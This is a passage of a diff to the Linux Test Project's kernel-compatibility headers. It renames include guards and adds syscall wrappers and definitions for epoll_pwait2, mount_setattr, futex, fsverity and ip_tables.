+#define NSEC_PER_SEC (1000000000LL)
 #endif
 
 static const clock_t clock_list[] = {
@@ -78,4 +78,4 @@
  */
 typedef int kernel_timer_t;
 
-#endif
+#endif /* LAPI_COMMON_TIMERS_H__ */
diff --git a/include/lapi/cpuset.h b/include/lapi/cpuset.h
index 8f7136c..f4d62e3 100644
--- a/include/lapi/cpuset.h
+++ b/include/lapi/cpuset.h
@@ -17,8 +17,8 @@
 #define _GNU_SOURCE
 #include <sched.h>
 
-#ifndef LTP_CPUSET_H
-#define LTP_CPUSET_H
+#ifndef LAPI_CPUSET_H__
+#define LAPI_CPUSET_H__
 
 #ifndef CPU_ALLOC
 #define CPU_ALLOC(ncpus) malloc(sizeof(cpu_set_t)); \
@@ -48,4 +48,4 @@
 #define CPU_ISSET_S(cpu, size, mask) CPU_ISSET(cpu, mask)
 #endif
 
-#endif /* LTP_CPUSET_H */
+#endif /* LAPI_CPUSET_H__ */
diff --git a/include/lapi/cryptouser.h b/include/lapi/cryptouser.h
index e92fe96..31d1c34 100644
--- a/include/lapi/cryptouser.h
+++ b/include/lapi/cryptouser.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
  */
 
-#ifndef CRYPTOUSER_H__
-#define CRYPTOUSER_H__
+#ifndef LAPI_CRYPTOUSER_H__
+#define LAPI_CRYPTOUSER_H__
 
 #ifdef HAVE_LINUX_CRYPTOUSER_H
 #  include <linux/cryptouser.h>
@@ -179,4 +179,4 @@
 #  define CRYPTO_ALG_TYPE_ACOMPRESS_MASK	0x0000000e
 #endif
 
-#endif	/* CRYPTOUSER_H__ */
+#endif	/* LAPI_CRYPTOUSER_H__ */
diff --git a/include/lapi/epoll.h b/include/lapi/epoll.h
index 899eeb9..fc068ae 100644
--- a/include/lapi/epoll.h
+++ b/include/lapi/epoll.h
@@ -1,13 +1,58 @@
-// SPDX-License-Identifier: GPL-2.0-or-later
-/*
+/* SPDX-License-Identifier: GPL-2.0-or-later
+ *
  * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
 #ifndef LAPI_EPOLL_H__
 #define LAPI_EPOLL_H__
 
+#include "lapi/syscalls.h"
+#include "tst_timer.h"
+
 #ifndef EPOLL_CLOEXEC
-# define EPOLL_CLOEXEC 02000000
+#define EPOLL_CLOEXEC 02000000
+#endif
+
+static inline void epoll_pwait_supported(void)
+{
+	/* allow the tests to fail early */
+	tst_syscall(__NR_epoll_pwait);
+}
+
+#ifndef HAVE_EPOLL_PWAIT
+static inline int epoll_pwait(int epfd, struct epoll_event *events,
+			      int maxevents, int timeout,
+			      const sigset_t *sigmask)
+{
+	return tst_syscall(__NR_epoll_pwait, epfd, events, maxevents,
+			   timeout, sigmask, _NSIG / 8);
+}
+#endif
+
+static inline void epoll_pwait2_supported(void)
+{
+	/* allow the tests to fail early */
+	tst_syscall(__NR_epoll_pwait2);
+}
+
+#ifndef HAVE_EPOLL_PWAIT2
+static inline int epoll_pwait2(int epfd, struct epoll_event *events,
+			       int maxevents, const struct timespec *timeout,
+			       const sigset_t *sigmask)
+{
+	if (timeout == NULL)
+		return tst_syscall(__NR_epoll_pwait2, epfd, events, maxevents,
+				   NULL, sigmask, _NSIG / 8);
+
+	struct __kernel_timespec ts;
+
+	ts.tv_sec = timeout->tv_sec;
+	ts.tv_nsec = timeout->tv_nsec;
+
+	return tst_syscall(__NR_epoll_pwait2, epfd, events, maxevents,
+			   &ts, sigmask, _NSIG / 8);
+}
 #endif
 
 #endif /* LAPI_EPOLL_H__ */
diff --git a/include/lapi/execveat.h b/include/lapi/execveat.h
index 7a70322..de4963b 100644
--- a/include/lapi/execveat.h
+++ b/include/lapi/execveat.h
@@ -3,8 +3,8 @@
  * Copyright (C) 2018 MediaTek Inc.  All Rights Reserved.
  */
 
-#ifndef EXECVEAT_H
-#define EXECVEAT_H
+#ifndef LAPI_EXECVEAT_H__
+#define LAPI_EXECVEAT_H__
 
 #include <sys/types.h>
 #include "config.h"
@@ -19,4 +19,4 @@
 }
 #endif
 
-#endif /* EXECVEAT_H */
+#endif /* LAPI_EXECVEAT_H__ */
diff --git a/include/lapi/fallocate.h b/include/lapi/fallocate.h
index 72f52c7..fc246bc 100644
--- a/include/lapi/fallocate.h
+++ b/include/lapi/fallocate.h
@@ -4,8 +4,8 @@
  * Copyright (c) 2014 Fujitsu Ltd.
  */
 
-#ifndef FALLOCATE_H
-#define FALLOCATE_H
+#ifndef LAPI_FALLOCATE_H__
+#define LAPI_FALLOCATE_H__
 
 #include <sys/types.h>
 #include <endian.h>
@@ -36,19 +36,13 @@
 
 #if !defined(HAVE_FALLOCATE)
 
-# ifdef __TEST_H__
-#  define TST_SYSCALL_WRAPPER ltp_syscall
-# else
-#  define TST_SYSCALL_WRAPPER tst_syscall
-# endif /* __TEST_H__ */
-
 static inline long fallocate(int fd, int mode, loff_t offset, loff_t len)
 {
 	/* Deal with 32bit ABIs that have 64bit syscalls. */
 # if LTP_USE_64_ABI
-	return TST_SYSCALL_WRAPPER(__NR_fallocate, fd, mode, offset, len);
+	return tst_syscall(__NR_fallocate, fd, mode, offset, len);
 # else
-	return (long)TST_SYSCALL_WRAPPER(__NR_fallocate, fd, mode,
+	return (long)tst_syscall(__NR_fallocate, fd, mode,
 				 __LONG_LONG_PAIR((off_t) (offset >> 32),
 						  (off_t) offset),
 				 __LONG_LONG_PAIR((off_t) (len >> 32),
@@ -57,4 +51,4 @@
 }
 #endif
 
-#endif /* FALLOCATE_H */
+#endif /* LAPI_FALLOCATE_H__ */
diff --git a/include/lapi/fcntl.h b/include/lapi/fcntl.h
index e08970c..8a0a893 100644
--- a/include/lapi/fcntl.h
+++ b/include/lapi/fcntl.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
  */
 
-#ifndef __LAPI_FCNTL_H__
-#define __LAPI_FCNTL_H__
+#ifndef LAPI_FCNTL_H__
+#define LAPI_FCNTL_H__
 
 #include "config.h"
 #include <fcntl.h>
@@ -150,4 +150,4 @@
 };
 #endif /* HAVE_STRUCT_FILE_HANDLE */
 
-#endif /* __LAPI_FCNTL_H__ */
+#endif /* LAPI_FCNTL_H__ */
diff --git a/include/lapi/fnmatch.h b/include/lapi/fnmatch.h
index 9628ac4..3bfd6e7 100644
--- a/include/lapi/fnmatch.h
+++ b/include/lapi/fnmatch.h
@@ -4,11 +4,11 @@
  * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
  */
 
-#ifndef FNMATCH_H__
-#define FNMATCH_H__
+#ifndef LAPI_FNMATCH_H__
+#define LAPI_FNMATCH_H__
 
 #ifndef FNM_EXTMATCH
 #define FNM_EXTMATCH 0
 #endif
 
-#endif
+#endif /* LAPI_FNMATCH_H__ */
diff --git a/include/lapi/fs.h b/include/lapi/fs.h
index 430d21f..84a168a 100644
--- a/include/lapi/fs.h
+++ b/include/lapi/fs.h
@@ -6,16 +6,18 @@
  * Email: code@zilogic.com
  */
 
-#ifdef HAVE_LINUX_FS_H
-# include <linux/fs.h>
+#ifndef HAVE_MOUNT_SETATTR
+# ifdef HAVE_LINUX_FS_H
+#  include <linux/fs.h>
+# endif
 #endif
 
 #include <sys/user.h>
 #include <limits.h>
 #include "lapi/abisize.h"
 
-#ifndef LAPI_FS_H
-#define LAPI_FS_H
+#ifndef LAPI_FS_H__
+#define LAPI_FS_H__
 
 #ifndef FS_IOC_GETFLAGS
 #define	FS_IOC_GETFLAGS	_IOR('f', 1, long)
@@ -41,6 +43,10 @@
 #define FS_NODUMP_FL	   0x00000040 /* do not dump file */
 #endif
 
+#ifndef FS_VERITY_FL
+#define FS_VERITY_FL	   0x00100000 /* Verity protected inode */
+#endif
+
 /*
  * Helper function to get MAX_LFS_FILESIZE.
  * Missing PAGE_SHIFT on some libc prevents defining MAX_LFS_FILESIZE.
@@ -63,4 +69,4 @@
 #endif
 }
 
-#endif
+#endif /* LAPI_FS_H__ */
diff --git a/include/lapi/fsmount.h b/include/lapi/fsmount.h
index d6ebed9..07eb42f 100644
--- a/include/lapi/fsmount.h
+++ b/include/lapi/fsmount.h
@@ -1,20 +1,65 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2021-2022
  * Copyright (c) 2020 Linaro Limited. All rights reserved.
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef FSMOUNT_H__
-#define FSMOUNT_H__
-
-#include <sys/mount.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
+#ifndef LAPI_FSMOUNT_H__
+#define LAPI_FSMOUNT_H__
 
 #include "config.h"
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/mount.h>
+
+#ifndef HAVE_FSOPEN
+# ifdef HAVE_LINUX_MOUNT_H
+#  include <linux/mount.h>
+# endif
+#endif
+
 #include "lapi/fcntl.h"
 #include "lapi/syscalls.h"
 
+/*
+ * Mount attributes.
+ */
+#ifndef MOUNT_ATTR_RDONLY
+# define MOUNT_ATTR_RDONLY       0x00000001 /* Mount read-only */
+#endif
+#ifndef MOUNT_ATTR_NOSUID
+# define MOUNT_ATTR_NOSUID       0x00000002 /* Ignore suid and sgid bits */
+#endif
+#ifndef MOUNT_ATTR_NODEV
+# define MOUNT_ATTR_NODEV        0x00000004 /* Disallow access to device special files */
+#endif
+#ifndef MOUNT_ATTR_NOEXEC
+# define MOUNT_ATTR_NOEXEC       0x00000008 /* Disallow program execution */
+#endif
+#ifndef MOUNT_ATTR_NODIRATIME
+# define MOUNT_ATTR_NODIRATIME   0x00000080 /* Do not update directory access times */
+#endif
+#ifndef MOUNT_ATTR_NOSYMFOLLOW
+# define MOUNT_ATTR_NOSYMFOLLOW  0x00200000 /* Do not follow symlinks */
+#endif
+
+#ifndef ST_NOSYMFOLLOW
+# define ST_NOSYMFOLLOW 0x2000 /* do not follow symlinks */
+#endif
+
+#ifndef HAVE_STRUCT_MOUNT_ATTR
+/*
+ * mount_setattr()
+ */
+struct mount_attr {
+	uint64_t attr_set;
+	uint64_t attr_clr;
+	uint64_t propagation;
+	uint64_t userns_fd;
+};
+#endif
+
 #ifndef HAVE_FSOPEN
 static inline int fsopen(const char *fsname, unsigned int flags)
 {
@@ -61,6 +106,15 @@
 }
 #endif /* HAVE_OPEN_TREE */
 
+#ifndef HAVE_MOUNT_SETATTR
+static inline int mount_setattr(int dirfd, const char *from_pathname, unsigned int flags,
+				struct mount_attr *attr, size_t size)
+{
+	return tst_syscall(__NR_mount_setattr, dirfd, from_pathname, flags,
+			   attr, size);
+}
+#endif /* HAVE_MOUNT_SETATTR */
+
 /*
  * New headers added in kernel after 5.2 release, create them for old userspace.
 */
@@ -133,14 +187,16 @@
 
 static inline void fsopen_supported_by_kernel(void)
 {
+	long ret;
+
 	if ((tst_kvercmp(5, 2, 0)) < 0) {
 		/* Check if the syscall is backported on an older kernel */
-		TEST(syscall(__NR_fsopen, NULL, 0));
-		if (TST_RET != -1)
-			SAFE_CLOSE(TST_RET);
-		else if (TST_ERR == ENOSYS)
+		ret = syscall(__NR_fsopen, NULL, 0);
+		if (ret != -1)
+			SAFE_CLOSE(ret);
+		else if (errno == ENOSYS)
 			tst_brk(TCONF, "Test not supported on kernel version < v5.2");
 	}
 }
 
-#endif /* FSMOUNT_H__ */
+#endif /* LAPI_FSMOUNT_H__ */
diff --git a/include/lapi/fsverity.h b/include/lapi/fsverity.h
new file mode 100644
index 0000000..3a33ca8
--- /dev/null
+++ b/include/lapi/fsverity.h
@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Dai Shili <daisl.fnst@cn.fujitsu.com>
+ */
+#ifndef LAPI_FSVERITY_H__
+#define LAPI_FSVERITY_H__
+
+#include "config.h"
+#include <stdint.h>
+#include <sys/ioctl.h>
+
+#ifdef HAVE_LINUX_FSVERITY_H
+#include <linux/fsverity.h>
+#endif
+
+#ifndef FS_VERITY_HASH_ALG_SHA256
+# define FS_VERITY_HASH_ALG_SHA256       1
+#endif
+
+#ifndef HAVE_STRUCT_FSVERITY_ENABLE_ARG
+struct fsverity_enable_arg {
+	uint32_t version;
+	uint32_t hash_algorithm;
+	uint32_t block_size;
+	uint32_t salt_size;
+	uint64_t salt_ptr;
+	uint32_t sig_size;
+	uint32_t __reserved1;
+	uint64_t sig_ptr;
+	uint64_t __reserved2[11];
+};
+#endif
+
+#ifndef FS_IOC_ENABLE_VERITY
+# define FS_IOC_ENABLE_VERITY    _IOW('f', 133, struct fsverity_enable_arg)
+#endif
+
+#endif
diff --git a/include/lapi/futex.h b/include/lapi/futex.h
index 00b26c3..a05fcb8 100644
--- a/include/lapi/futex.h
+++ b/include/lapi/futex.h
@@ -1,12 +1,14 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2015 Linux Test Project
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
 #ifndef LAPI_FUTEX_H__
 #define LAPI_FUTEX_H__
 
 #include <stdint.h>
+#include "config.h"
 
 typedef volatile uint32_t futex_t;
 
@@ -14,4 +16,182 @@
 #define SYS_futex SYS_futex_time64
 #endif
 
+#ifdef HAVE_LINUX_FUTEX_H
+# include <linux/futex.h>
+#else
+#include <unistd.h>
+
+#define FUTEX_WAIT		0
+#define FUTEX_WAKE		1
+#define FUTEX_FD		2
+#define FUTEX_REQUEUE		3
+#define FUTEX_CMP_REQUEUE	4
+#define FUTEX_WAKE_OP		5
+#define FUTEX_LOCK_PI		6
+#define FUTEX_UNLOCK_PI		7
+#define FUTEX_TRYLOCK_PI	8
+#define FUTEX_WAIT_BITSET	9
+#define FUTEX_WAKE_BITSET	10
+#define FUTEX_WAIT_REQUEUE_PI	11
+#define FUTEX_CMP_REQUEUE_PI	12
+#define FUTEX_LOCK_PI2		13
+
+#define FUTEX_PRIVATE_FLAG	128
+#define FUTEX_CLOCK_REALTIME	256
+#define FUTEX_CMD_MASK		~(FUTEX_PRIVATE_FLAG | FUTEX_CLOCK_REALTIME)
+
+#define FUTEX_WAIT_PRIVATE	(FUTEX_WAIT | FUTEX_PRIVATE_FLAG)
+#define FUTEX_WAKE_PRIVATE	(FUTEX_WAKE | FUTEX_PRIVATE_FLAG)
+#define FUTEX_REQUEUE_PRIVATE	(FUTEX_REQUEUE | FUTEX_PRIVATE_FLAG)
+#define FUTEX_CMP_REQUEUE_PRIVATE (FUTEX_CMP_REQUEUE | FUTEX_PRIVATE_FLAG)
+#define FUTEX_WAKE_OP_PRIVATE	(FUTEX_WAKE_OP | FUTEX_PRIVATE_FLAG)
+#define FUTEX_LOCK_PI_PRIVATE	(FUTEX_LOCK_PI | FUTEX_PRIVATE_FLAG)
+#define FUTEX_LOCK_PI2_PRIVATE	(FUTEX_LOCK_PI2 | FUTEX_PRIVATE_FLAG)
+#define FUTEX_UNLOCK_PI_PRIVATE	(FUTEX_UNLOCK_PI | FUTEX_PRIVATE_FLAG)
+#define FUTEX_TRYLOCK_PI_PRIVATE (FUTEX_TRYLOCK_PI | FUTEX_PRIVATE_FLAG)
+#define FUTEX_WAIT_BITSET_PRIVATE	(FUTEX_WAIT_BITSET | FUTEX_PRIVATE_FLAG)
+#define FUTEX_WAKE_BITSET_PRIVATE	(FUTEX_WAKE_BITSET | FUTEX_PRIVATE_FLAG)
+#define FUTEX_WAIT_REQUEUE_PI_PRIVATE	(FUTEX_WAIT_REQUEUE_PI | \
+					 FUTEX_PRIVATE_FLAG)
+#define FUTEX_CMP_REQUEUE_PI_PRIVATE	(FUTEX_CMP_REQUEUE_PI | \
+					 FUTEX_PRIVATE_FLAG)
+
+/*
+ * Support for robust futexes: the kernel cleans up held futexes at
+ * thread exit time.
+ */
+
+/*
+ * Per-lock list entry - embedded in user-space locks, somewhere close
+ * to the futex field. (Note: user-space uses a double-linked list to
+ * achieve O(1) list add and remove, but the kernel only needs to know
+ * about the forward link)
+ *
+ * NOTE: this structure is part of the syscall ABI, and must not be
+ * changed.
+ */
+struct robust_list {
+	struct robust_list *next;
+};
+
+/*
+ * Per-thread list head:
+ *
+ * NOTE: this structure is part of the syscall ABI, and must only be
+ * changed if the change is first communicated with the glibc folks.
+ * (When an incompatible change is done, we'll increase the structure
+ *  size, which glibc will detect)
+ */
+struct robust_list_head {
+	/*
+	 * The head of the list. Points back to itself if empty:
+	 */
+	struct robust_list list;
+
+	/*
+	 * This relative offset is set by user-space, it gives the kernel
+	 * the relative position of the futex field to examine. This way
+	 * we keep userspace flexible, to freely shape its data-structure,
+	 * without hardcoding any particular offset into the kernel:
+	 */
+	long futex_offset;
+
+	/*
+	 * The death of the thread may race with userspace setting
+	 * up a lock's links. So to handle this race, userspace first
+	 * sets this field to the address of the to-be-taken lock,
+	 * then does the lock acquire, and then adds itself to the
+	 * list, and then clears this field. Hence the kernel will
+	 * always have full knowledge of all locks that the thread
+	 * _might_ have taken. We check the owner TID in any case,
+	 * so only truly owned locks will be handled.
+	 */
+	struct robust_list *list_op_pending;
+};
+
+/*
+ * Are there any waiters for this robust futex:
+ */
+#define FUTEX_WAITERS		0x80000000
+
+/*
+ * The kernel signals via this bit that a thread holding a futex
+ * has exited without unlocking the futex. The kernel also does
+ * a FUTEX_WAKE on such futexes, after setting the bit, to wake
+ * up any possible waiters:
+ */
+#define FUTEX_OWNER_DIED	0x40000000
+
+/*
+ * The rest of the robust-futex field is for the TID:
+ */
+#define FUTEX_TID_MASK		0x3fffffff
+
+/*
+ * This limit protects against a deliberately circular list.
+ * (Not worth introducing an rlimit for it)
+ */
+#define ROBUST_LIST_LIMIT	2048
+
+/*
+ * bitset with all bits set for the FUTEX_xxx_BITSET OPs to request a
+ * match of any bit.
+ */
+#define FUTEX_BITSET_MATCH_ANY	0xffffffff
+
+
+#define FUTEX_OP_SET		0	/* *(int *)UADDR2 = OPARG; */
+#define FUTEX_OP_ADD		1	/* *(int *)UADDR2 += OPARG; */
+#define FUTEX_OP_OR		2	/* *(int *)UADDR2 |= OPARG; */
+#define FUTEX_OP_ANDN		3	/* *(int *)UADDR2 &= ~OPARG; */
+#define FUTEX_OP_XOR		4	/* *(int *)UADDR2 ^= OPARG; */
+
+#define FUTEX_OP_OPARG_SHIFT	8	/* Use (1 << OPARG) instead of OPARG.  */
+
+#define FUTEX_OP_CMP_EQ		0	/* if (oldval == CMPARG) wake */
+#define FUTEX_OP_CMP_NE		1	/* if (oldval != CMPARG) wake */
+#define FUTEX_OP_CMP_LT		2	/* if (oldval < CMPARG) wake */
+#define FUTEX_OP_CMP_LE		3	/* if (oldval <= CMPARG) wake */
+#define FUTEX_OP_CMP_GT		4	/* if (oldval > CMPARG) wake */
+#define FUTEX_OP_CMP_GE		5	/* if (oldval >= CMPARG) wake */
+
+/* FUTEX_WAKE_OP will perform atomically
+   int oldval = *(int *)UADDR2;
+   *(int *)UADDR2 = oldval OP OPARG;
+   if (oldval CMP CMPARG)
+     wake UADDR2;  */
+
+#define FUTEX_OP(op, oparg, cmp, cmparg) \
+  (((op & 0xf) << 28) | ((cmp & 0xf) << 24)		\
+   | ((oparg & 0xfff) << 12) | (cmparg & 0xfff))
+
+#endif /* HAVE_LINUX_FUTEX_H */
+
+#ifndef HAVE_STRUCT_FUTEX_WAITV
+/*
+ * Flags to specify the bit length of the futex word for futex2 syscalls.
+ * Currently, only 32 is supported.
+ */
+#define FUTEX_32		2
+
+/*
+ * Max numbers of elements in a futex_waitv array
+ */
+#define FUTEX_WAITV_MAX		128
+
+/**
+ * struct futex_waitv - A waiter for vectorized wait
+ * @val:	Expected value at uaddr
+ * @uaddr:	User address to wait on
+ * @flags:	Flags for this waiter
+ * @__reserved:	Reserved member to preserve data alignment. Should be 0.
+ */
+struct futex_waitv {
+	uint64_t val;
+	uint64_t uaddr;
+	uint32_t flags;
+	uint32_t __reserved;
+};
+#endif /* HAVE_STRUCT_FUTEX_WAITV */
+
 #endif /* LAPI_FUTEX_H__ */
diff --git a/include/lapi/getrandom.h b/include/lapi/getrandom.h
index 83e0a0e..c654ca1 100644
--- a/include/lapi/getrandom.h
+++ b/include/lapi/getrandom.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2015 Linux Test Project
  */
 
-#ifndef __GETRANDOM_H__
-#define __GETRANDOM_H__
+#ifndef LAPI_GETRANDOM_H__
+#define LAPI_GETRANDOM_H__
 
 #include "config.h"
 
@@ -27,4 +27,4 @@
 # define GRND_RANDOM	0x0002
 #endif
 
-#endif /* __GETRANDOM_H__ */
+#endif /* LAPI_GETRANDOM_H__ */
diff --git a/include/lapi/if_addr.h b/include/lapi/if_addr.h
new file mode 100644
index 0000000..0f7e447
--- /dev/null
+++ b/include/lapi/if_addr.h
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Petr Vorel <petr.vorel@gmail.com>
+ */
+
+#ifndef LAPI_IF_ADDR_H__
+#define LAPI_IF_ADDR_H__
+
+#include <linux/if_addr.h>
+
+#ifndef IFA_FLAGS
+# define IFA_FLAGS 8
+#endif
+
+#ifndef IFA_F_NOPREFIXROUTE
+# define IFA_F_NOPREFIXROUTE	0x200
+#endif
+
+#endif /* LAPI_IF_ADDR_H__ */
diff --git a/include/lapi/if_alg.h b/include/lapi/if_alg.h
index 9c04a44..466957e 100644
--- a/include/lapi/if_alg.h
+++ b/include/lapi/if_alg.h
@@ -3,8 +3,8 @@
  * Copyright 2019 Google LLC
  */
 
-#ifndef IF_ALG_H__
-#define IF_ALG_H__
+#ifndef LAPI_IF_ALG_H__
+#define LAPI_IF_ALG_H__
 
 #ifdef HAVE_LINUX_IF_ALG_H
 #  include <linux/if_alg.h>
@@ -56,4 +56,4 @@
 # define ALG_OP_ENCRYPT		1
 #endif
 
-#endif /* IF_ALG_H__ */
+#endif /* LAPI_IF_ALG_H__ */
diff --git a/include/lapi/if_ether.h b/include/lapi/if_ether.h
index 0e9a4fc..536d186 100644
--- a/include/lapi/if_ether.h
+++ b/include/lapi/if_ether.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2020 SUSE LLC <mdoucha@suse.cz>
  */
 
-#ifndef __LAPI_IF_ETHER_H__
-#define __LAPI_IF_ETHER_H__
+#ifndef LAPI_IF_ETHER_H__
+#define LAPI_IF_ETHER_H__
 
 #include "config.h"
 
@@ -16,4 +16,4 @@
 # define ETH_P_ALL 0x0003
 #endif
 
-#endif /* __LAPI_IF_ETHER_H__ */
+#endif /* LAPI_IF_ETHER_H__ */
diff --git a/include/lapi/if_packet.h b/include/lapi/if_packet.h
index fdaed29..8c6c2e0 100644
--- a/include/lapi/if_packet.h
+++ b/include/lapi/if_packet.h
@@ -4,8 +4,8 @@
  * Author: Jinhui huang <huangjh.jy@cn.fujitsu.com>
  */
 
-#ifndef __LAPI_IF_PACKET_H__
-#define __LAPI_IF_PACKET_H__
+#ifndef LAPI_IF_PACKET_H__
+#define LAPI_IF_PACKET_H__
 
 #include "config.h"
 
@@ -51,4 +51,4 @@
 };
 #endif
 
-#endif /* __LAPI_IF_PACKET_H__ */
+#endif /* LAPI_IF_PACKET_H__ */
diff --git a/include/lapi/init_module.h b/include/lapi/init_module.h
index 14eaabe..fe35ec3 100644
--- a/include/lapi/init_module.h
+++ b/include/lapi/init_module.h
@@ -4,12 +4,12 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef INIT_MODULE_H__
-#define INIT_MODULE_H__
+#ifndef LAPI_INIT_MODULE_H__
+#define LAPI_INIT_MODULE_H__
 
 #include "config.h"
-#include "lapi/syscalls.h"
 #include "tst_test.h"
+#include "lapi/syscalls.h"
 
 static inline int init_module(void *module_image, unsigned long len,
 			      const char *param_values)
@@ -24,12 +24,14 @@
 
 static inline void finit_module_supported_by_kernel(void)
 {
+       long ret;
+
        if ((tst_kvercmp(3, 8, 0)) < 0) {
                /* Check if the syscall is backported on an older kernel */
-               TEST(syscall(__NR_finit_module, 0, "", 0));
-               if (TST_RET == -1 && TST_ERR == ENOSYS)
+               ret = syscall(__NR_finit_module, 0, "", 0);
+               if (ret == -1 && errno == ENOSYS)
                        tst_brk(TCONF, "Test not supported on kernel version < v3.8");
        }
 }
 
-#endif /* INIT_MODULE_H__ */
+#endif /* LAPI_INIT_MODULE_H__ */
diff --git a/include/lapi/io_pgetevents.h b/include/lapi/io_pgetevents.h
index 5bb9a60..4ab13a6 100644
--- a/include/lapi/io_pgetevents.h
+++ b/include/lapi/io_pgetevents.h
@@ -4,8 +4,8 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef IO_PGETEVENTS_H
-#define IO_PGETEVENTS_H
+#ifndef LAPI_IO_PGETEVENTS_H__
+#define LAPI_IO_PGETEVENTS_H__
 
 #include <sys/syscall.h>
 #include <sys/types.h>
@@ -32,4 +32,4 @@
 
 #endif /* HAVE_LIBAIO */
 
-#endif /* IO_PGETEVENTS_H */
+#endif /* LAPI_IO_PGETEVENTS_H__ */
diff --git a/include/lapi/io_uring.h b/include/lapi/io_uring.h
index 897ed7c..a63741a 100644
--- a/include/lapi/io_uring.h
+++ b/include/lapi/io_uring.h
@@ -6,8 +6,8 @@
  * Mostly copied/adapted from <linux/io_uring.h>
  */
 
-#ifndef IO_URING_H__
-#define IO_URING_H__
+#ifndef LAPI_IO_URING_H__
+#define LAPI_IO_URING_H__
 
 #include <unistd.h>
 #include <fcntl.h>
@@ -296,14 +296,20 @@
 
 static inline void io_uring_setup_supported_by_kernel(void)
 {
-	if ((tst_kvercmp(5, 1, 0)) < 0) {
-		TEST(syscall(__NR_io_uring_setup, NULL, 0));
-		if (TST_RET != -1)
-			SAFE_CLOSE(TST_RET);
-		else if (TST_ERR == ENOSYS)
+	long ret;
+	ret = syscall(__NR_io_uring_setup, NULL, 0);
+	if (ret != -1) {
+		SAFE_CLOSE(ret);
+		return;
+	}
+
+	if (errno == ENOSYS) {
+		if ((tst_kvercmp(5, 1, 0)) < 0) {
 			tst_brk(TCONF,
 				"Test not supported on kernel version < v5.1");
+		}
+		tst_brk(TCONF, "CONFIG_IO_URING not set?");
 	}
 }
 
-#endif /* IO_URING_H__ */
+#endif /* LAPI_IO_URING_H__ */
diff --git a/include/lapi/ioctl.h b/include/lapi/ioctl.h
index ecd2502..f91a9e6 100644
--- a/include/lapi/ioctl.h
+++ b/include/lapi/ioctl.h
@@ -4,8 +4,8 @@
  * Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
  */
 
-#ifndef IOCTL_H__
-#define IOCTL_H__
+#ifndef LAPI_IOCTL_H__
+#define LAPI_IOCTL_H__
 
 #include "config.h"
 #include <sys/ioctl.h>
@@ -37,4 +37,4 @@
 };
 #endif /* HAVE_STRUCT_TERMIO */
 
-#endif /* IOCTL_H__ */
+#endif /* LAPI_IOCTL_H__ */
diff --git a/include/lapi/ioctl_ns.h b/include/lapi/ioctl_ns.h
index 2fb4f4c..9c81d5c 100644
--- a/include/lapi/ioctl_ns.h
+++ b/include/lapi/ioctl_ns.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2019 Federico Bonfiglio fedebonfi95@gmail.com
  */
 
-#ifndef IOCTL_NS_H__
-#define IOCTL_NS_H__
+#ifndef LAPI_IOCTL_NS_H__
+#define LAPI_IOCTL_NS_H__
 
 #include <asm-generic/ioctl.h>
 
@@ -25,4 +25,4 @@
 #endif
 
 
-#endif /* IOCTL_NS_H__ */
+#endif /* LAPI_IOCTL_NS_H__ */
diff --git a/include/lapi/iovec.h b/include/lapi/iovec.h
index d479e9f..8d9fe10 100644
--- a/include/lapi/iovec.h
+++ b/include/lapi/iovec.h
@@ -3,8 +3,8 @@
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
  */
 
-#ifndef IOVEC_H
-#define IOVEC_H
+#ifndef LAPI_IOVEC_H__
+#define LAPI_IOVEC_H__
 
 #include "config.h"
 
@@ -17,4 +17,4 @@
 # include <sys/uio.h>
 #endif
 
-#endif /* IOVEC_H */
+#endif /* LAPI_IOVEC_H__ */
diff --git a/include/lapi/ip_tables.h b/include/lapi/ip_tables.h
new file mode 100644
index 0000000..d0ed333
--- /dev/null
+++ b/include/lapi/ip_tables.h
@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+#ifndef LAPI_IP_TABLES__
+#define LAPI_IP_TABLES__
+
+#include "config.h"
+
+#include <net/if.h>
+#include <linux/netfilter_ipv4/ip_tables.h>
+
+#ifndef HAVE_STRUCT_XT_ENTRY_MATCH
+struct xt_entry_match {
+	union {
+		struct {
+			uint16_t match_size;
+			char name[29];
+			uint8_t revision;
+		} user;
+		struct {
+			uint16_t match_size;
+			void *match;
+		} kernel;
+		uint16_t match_size;
+	} u;
+	unsigned char data[0];
+};
+#endif
+
+#ifndef HAVE_STRUCT_XT_ENTRY_TARGET
+struct xt_entry_target {
+	union {
+		struct {
+			uint16_t target_size;
+			char name[29];
+			uint8_t revision;
+		} user;
+		struct {
+			uint16_t target_size;
+			void *target;
+		} kernel;
+		uint16_t target_size;
+	} u;
+	unsigned char data[0];
+};
+#endif
+
+#endif /* LAPI_IP_TABLES__ */
diff --git a/include/lapi/ipcbuf.h b/include/lapi/ipcbuf.h
index b42c4bf..9631d9e 100644
--- a/include/lapi/ipcbuf.h
+++ b/include/lapi/ipcbuf.h
@@ -4,8 +4,8 @@
  * Author: Viresh Kumar <viresh.kumar@linaro.org>
  */
 
-#ifndef IPCBUF_H
-#define IPCBUF_H
+#ifndef LAPI_IPCBUF_H__
